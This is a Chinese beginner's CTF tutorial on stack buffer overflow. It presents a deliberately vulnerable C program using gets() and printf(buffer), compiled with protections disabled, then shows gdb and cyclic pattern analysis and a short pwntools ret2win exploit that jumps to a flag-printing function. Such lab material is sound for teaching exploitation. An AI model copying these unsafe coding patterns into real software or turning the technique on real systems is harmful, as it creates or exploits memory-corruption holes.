新手PWN入门(1) 栈溢出

这个文章的内容非常的基础, 大佬勿喷 内容比较细, 希望能给首次接触PWN的人带来帮助 什么是PWN? PWN challenges are a type of CTF challenge that require you to exploit a binary typically running

这个文章的内容非常的基础, 大佬勿喷

内容比较细, 希望能给首次接触PWN的人带来帮助

什么是PWN?

PWN challenges are a type of CTF challenge that require you to exploit a binary typically running on a remote server. This can be done by exploiting a vulnerability in the binary, or by using a vulnerability in the binary to gain access to the system.

Often, PWN challenges will require you to gain access to a remote server, and then exploit the binary on that server. This is done by connecting to the server using a tool such as netcat, and then sending commands to the server.

Typically, you will be given an IP address and a port number to connect to.

需要你利用远程服务器上运行的二进制文件, 利用该二进制文件的漏洞访问系统或执行命令.

PWN题目一般会给你远程服务器的地址, 让你用nc, telnet等工具连上后发送输入

题目

vuln.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win()
{
    system("/bin/cat /Flag.txt"); // 需要提前准备好/Flag.txt或自行修改路径
}

void vuln()
{
    char buffer[64];
    printf("Enter your input: ");
    gets(buffer);
    printf(buffer);
    printf("\n");
}

int main()
{
    vuln();
    return 0;
}

编译:

gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie

是的, 就这么简单, 但是......刚开始整起来很难

逆向

本来想直接写调试的, 好像还是写一下逆向比较好?

我们最后应该想办法溢出掉然后ret到这个函数 (这里有个大坑)

记住lea这个指令在函数中的偏移 (我这里为+5)

还要顺带看一眼vuln, 记住最后retn的地址 (我这里为0x4011F8)

调试

使用命令启动调试

gdb vuln

显示出像这样的页面就是pwndbg也成功加载了

一些你可能用得到的命令
断点: b *地址(必须带0x)
运行: run
断下后继续运行: go

接下来在vuln的ret处下断点

正常输入

输入1145141919810, 无事发生

正常的寄存器:

正常的栈:

非正常输入

使用cyclic, 生成一个测试文本

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

可以发现, 溢出啦! RSP, RBP寄存器已被替换, 不过我们需要改的是RSP

为更直观起见, 减少输入数量到80字符

这时候你会发现, 0x616161616161616a转字符串不就是jaaaaaaa? 那只要把jaaaaaaa改成地址不就行了?

也就是说, 实际上Padding是72字符, 在此之后我们加上地址即可实现ret2任意addr

写Exp

Tips: 需要python和pwntools

from pwn import *

Binary = ELF('./vuln')
Proc = process(Binary)
# Proc = remote('example.com', 2156)
Payload = b'A' * 72 + p64(Binary.symbols['win'] + 8)
Proc.sendline(Payload)
Proc.interactive()

这里要注意, 为什么要+8(到lea指令处)而不是直接跳转到函数头呢? emm我不知道, 反正会出现一些奇奇怪怪的错误?

现在运行一下, 是不是跑出了flag?

结束语

怎么说呢...我也是个新手, 凑活看吧?

(顺带说, 我自己写的CTF里也有这样的PWN)

LICENSED UNDER CC BY-NC-SA 4.0
Comment